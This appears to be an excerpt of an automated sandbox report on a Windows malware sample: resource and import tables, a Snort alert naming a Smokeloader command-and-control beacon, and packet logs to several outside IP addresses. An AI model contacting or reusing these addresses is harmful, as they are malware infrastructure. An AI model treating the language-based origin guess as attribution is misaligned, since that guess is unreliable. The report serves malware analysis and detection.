RT_ICON	0x3a9118	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Farsi	Uzbekistan
RT_ICON	0x3a9680	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Farsi	Iran
RT_ICON	0x3a9680	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Farsi	Afganistan
RT_ICON	0x3a9680	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Farsi	Tajikistan
RT_ICON	0x3a9680	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Farsi	Uzbekistan
RT_ICON	0x3abc28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Farsi	Iran
RT_ICON	0x3abc28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Farsi	Afganistan
RT_ICON	0x3abc28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Farsi	Tajikistan
RT_ICON	0x3abc28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Farsi	Uzbekistan
RT_ICON	0x3accd0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Farsi	Iran
RT_ICON	0x3accd0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Farsi	Afganistan
RT_ICON	0x3accd0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Farsi	Tajikistan
RT_ICON	0x3accd0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Farsi	Uzbekistan
RT_ICON	0x3ad658	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Farsi	Iran
RT_ICON	0x3ad658	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Farsi	Afganistan
RT_ICON	0x3ad658	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Farsi	Tajikistan
RT_ICON	0x3ad658	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Farsi	Uzbekistan
RT_STRING	0x3addc0	0x2d2	data	Farsi	Iran
RT_STRING	0x3addc0	0x2d2	data	Farsi	Afganistan
RT_STRING	0x3addc0	0x2d2	data	Farsi	Tajikistan
RT_STRING	0x3addc0	0x2d2	data	Farsi	Uzbekistan
RT_STRING	0x3ae098	0x5be	data	Farsi	Iran
RT_STRING	0x3ae098	0x5be	data	Farsi	Afganistan
RT_STRING	0x3ae098	0x5be	data	Farsi	Tajikistan
RT_STRING	0x3ae098	0x5be	data	Farsi	Uzbekistan
RT_ACCELERATOR	0x3adb38	0x48	data	Farsi	Iran
RT_ACCELERATOR	0x3adb38	0x48	data	Farsi	Afganistan
RT_ACCELERATOR	0x3adb38	0x48	data	Farsi	Tajikistan
RT_ACCELERATOR	0x3adb38	0x48	data	Farsi	Uzbekistan
RT_GROUP_ICON	0x3adac0	0x76	data	Farsi	Iran
RT_GROUP_ICON	0x3adac0	0x76	data	Farsi	Afganistan
RT_GROUP_ICON	0x3adac0	0x76	data	Farsi	Tajikistan
RT_GROUP_ICON	0x3adac0	0x76	data	Farsi	Uzbekistan
RT_VERSION	0x3adb80	0x23c	data

Imports

DLL	Import
KERNEL32.dll	MapUserPhysicalPages, DeleteVolumeMountPointA, InterlockedIncrement, OpenJobObjectA, SetMailslotInfo, InterlockedCompareExchange, GetFileAttributesExA, MoveFileWithProgressA, GetModuleHandleW, GetCurrentThread, GetConsoleAliasesA, GetNumberFormatA, GetConsoleTitleA, SetFileShortNameW, ReadConsoleInputA, GetGeoInfoA, CreateActCtxA, GetBinaryTypeW, GetACP, GetStartupInfoW, GetLastError, SetLastError, GetProcAddress, GetConsoleAliasExesLengthA, RemoveDirectoryA, DisableThreadLibraryCalls, OpenWaitableTimerA, LoadLibraryA, WriteConsoleA, UnhandledExceptionFilter, GetProcessWorkingSetSize, LocalAlloc, CreateTapePartition, IsSystemResumeAutomatic, FindFirstChangeNotificationA, HeapSetInformation, GetConsoleCursorInfo, GetVersionExA, GetCurrentProcessId, InitializeCriticalSectionAndSpinCount, HeapSize, GetModuleHandleA, GetNumaProcessorNode, GetNativeSystemInfo, VirtualAlloc, HeapReAlloc, MultiByteToWideChar, TerminateProcess, GetCurrentProcess, SetUnhandledExceptionFilter, IsDebuggerPresent, RaiseException, RtlUnwind, GetCPInfo, InterlockedDecrement, GetOEMCP, IsValidCodePage, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, HeapAlloc, HeapFree, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, DeleteCriticalSection, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, LCMapStringA, WideCharToMultiByte, LCMapStringW, GetStringTypeA, GetStringTypeW, LeaveCriticalSection, EnterCriticalSection, GetLocaleInfoA
USER32.dll	SetCaretPos, IsChild, RealGetWindowClassA, LoadMenuA, CharUpperA, GetCursorInfo, CharLowerBuffA, ClipCursor, GetKeyNameTextW
ADVAPI32.dll	LogonUserW, IsValidAcl, ReportEventA
ole32.dll	CoRevokeMallocSpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
Farsi	Iran
Farsi	Afganistan
Farsi	Tajikistan
Farsi	Uzbekistan

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.486.122.83.14249697802851815 02/16/23-10:01:19.336000	TCP	2851815	ETPRO TROJAN Sharik/Smokeloader CnC Beacon 18	49697	80	192.168.2.4	86.122.83.142

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 16, 2023 10:01:16.101008892 CET	49695	80	192.168.2.4	175.126.109.15
Feb 16, 2023 10:01:16.392498970 CET	80	49695	175.126.109.15	192.168.2.4
Feb 16, 2023 10:01:16.392764091 CET	49695	80	192.168.2.4	175.126.109.15
Feb 16, 2023 10:01:16.393764973 CET	49695	80	192.168.2.4	175.126.109.15
Feb 16, 2023 10:01:16.393896103 CET	49695	80	192.168.2.4	175.126.109.15
Feb 16, 2023 10:01:16.674091101 CET	80	49695	175.126.109.15	192.168.2.4
Feb 16, 2023 10:01:17.570933104 CET	80	49695	175.126.109.15	192.168.2.4
Feb 16, 2023 10:01:17.570971012 CET	80	49695	175.126.109.15	192.168.2.4
Feb 16, 2023 10:01:17.571042061 CET	49695	80	192.168.2.4	175.126.109.15
Feb 16, 2023 10:01:17.571166992 CET	49695	80	192.168.2.4	175.126.109.15
Feb 16, 2023 10:01:17.649538994 CET	49696	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:17.855751991 CET	80	49695	175.126.109.15	192.168.2.4
Feb 16, 2023 10:01:17.907274008 CET	80	49696	211.104.254.139	192.168.2.4
Feb 16, 2023 10:01:17.907398939 CET	49696	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:17.913929939 CET	49696	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:17.913997889 CET	49696	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:18.171382904 CET	80	49696	211.104.254.139	192.168.2.4
Feb 16, 2023 10:01:19.198020935 CET	80	49696	211.104.254.139	192.168.2.4
Feb 16, 2023 10:01:19.198098898 CET	80	49696	211.104.254.139	192.168.2.4
Feb 16, 2023 10:01:19.198390961 CET	49696	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:19.198460102 CET	49696	80	192.168.2.4	211.104.254.139
Feb 16, 2023 10:01:19.273073912 CET	49697	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:01:19.332775116 CET	80	49697	86.122.83.142	192.168.2.4
Feb 16, 2023 10:01:19.334816933 CET	49697	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:01:19.335999966 CET	49697	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:01:19.336046934 CET	49697	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:01:19.393733025 CET	80	49697	86.122.83.142	192.168.2.4
Feb 16, 2023 10:01:19.455848932 CET	80	49696	211.104.254.139	192.168.2.4
Feb 16, 2023 10:01:19.615053892 CET	80	49697	86.122.83.142	192.168.2.4
Feb 16, 2023 10:01:19.615120888 CET	80	49697	86.122.83.142	192.168.2.4
Feb 16, 2023 10:01:19.615325928 CET	49697	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:01:19.615468979 CET	49697	80	192.168.2.4	86.122.83.142
Feb 16, 2023 10:01:19.625385046 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:19.674647093 CET	80	49697	86.122.83.142	192.168.2.4
Feb 16, 2023 10:01:19.800384998 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:19.802582026 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:19.811352015 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:19.986020088 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:19.986488104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:19.986546993 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:19.986598969 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:19.986645937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:19.986681938 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:19.986728907 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:19.986778021 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:19.986794949 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:19.986844063 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:19.986911058 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:19.986921072 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:19.986963987 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:19.987011909 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:19.987036943 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:19.987085104 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.161828995 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.161905050 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.161952019 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.161998987 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.162045002 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.162055969 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.162092924 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.162138939 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.162185907 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.162188053 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.162234068 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.162257910 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.162281036 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.162332058 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.162354946 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.162385941 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.162431002 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.162475109 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.162504911 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.162520885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.162544966 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.162565947 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.162611008 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.162647963 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.162656069 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.162739038 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.162786961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.162798882 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.162866116 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.338241100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338284969 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338308096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338331938 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338357925 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338382006 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338404894 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338411093 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.338430882 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338460922 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338468075 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.338486910 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.338488102 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338517904 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338536024 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.338542938 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338571072 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338584900 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.338598013 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338624954 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338641882 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.338649988 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338676929 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338704109 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.338742971 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338781118 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338804007 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338824034 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338833094 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.338850021 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338854074 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.338876009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338893890 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.338901997 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338928938 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338948965 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.338956118 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338982105 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.338999987 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.339008093 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.339035034 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.339052916 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.339062929 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.339090109 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.339107037 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.339116096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.339143038 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.339164972 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.339168072 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.339195967 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.339217901 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.339224100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.339251995 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.339272022 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.339277983 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.339308023 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.339322090 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.339334011 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.339378119 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.514255047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.514333010 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.514398098 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.514462948 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.514528036 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.514539003 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.514539003 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.514596939 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.514662027 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.514669895 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.514751911 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.514815092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.514821053 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.514878988 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.514929056 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.514941931 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.515003920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.515052080 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.515065908 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.515129089 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.515191078 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.515191078 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.515252113 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.515300989 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.515325069 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.515389919 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.515435934 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.515453100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.515516043 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.515559912 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.515577078 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.515639067 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.515681982 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.515702009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.515763044 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.515805960 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.515822887 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.515885115 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.515934944 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.515945911 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.516009092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.516052008 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.516069889 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.516132116 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.516172886 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.516195059 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.516257048 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.516295910 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.516316891 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.516390085 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.516439915 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.516453028 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.516518116 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.516560078 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.516581059 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.516643047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.516681910 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.516702890 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.516765118 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.516805887 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.516824007 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.516886950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.516936064 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.516947985 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.517011881 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.517060041 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.517074108 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.517138004 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.517182112 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.517199039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.517263889 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.517307043 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.517326117 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.517391920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.517446995 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.517463923 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.559822083 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.694938898 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695019960 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695066929 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695111990 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695157051 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695209980 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695254087 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695260048 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.695260048 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.695300102 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695303917 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.695348024 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695360899 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.695406914 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695452929 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695455074 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.695499897 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695550919 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.695550919 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695597887 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695641994 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695642948 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.695688963 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695734978 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695744991 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.695780993 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695781946 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.695827007 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.695827961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695873022 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.695873022 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695918083 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.695919037 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.695962906 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.695964098 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.696008921 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.696012020 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.696058035 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.696058989 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.696105003 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.696105003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.696150064 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.696150064 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.696193933 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.696196079 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.696240902 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.696240902 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.696285963 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.696286917 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.696329117 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.696331024 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.696376085 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.696379900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.696435928 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:20.696448088 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:20.696496964 CET	49698	80	192.168.2.4	23.106.124.133
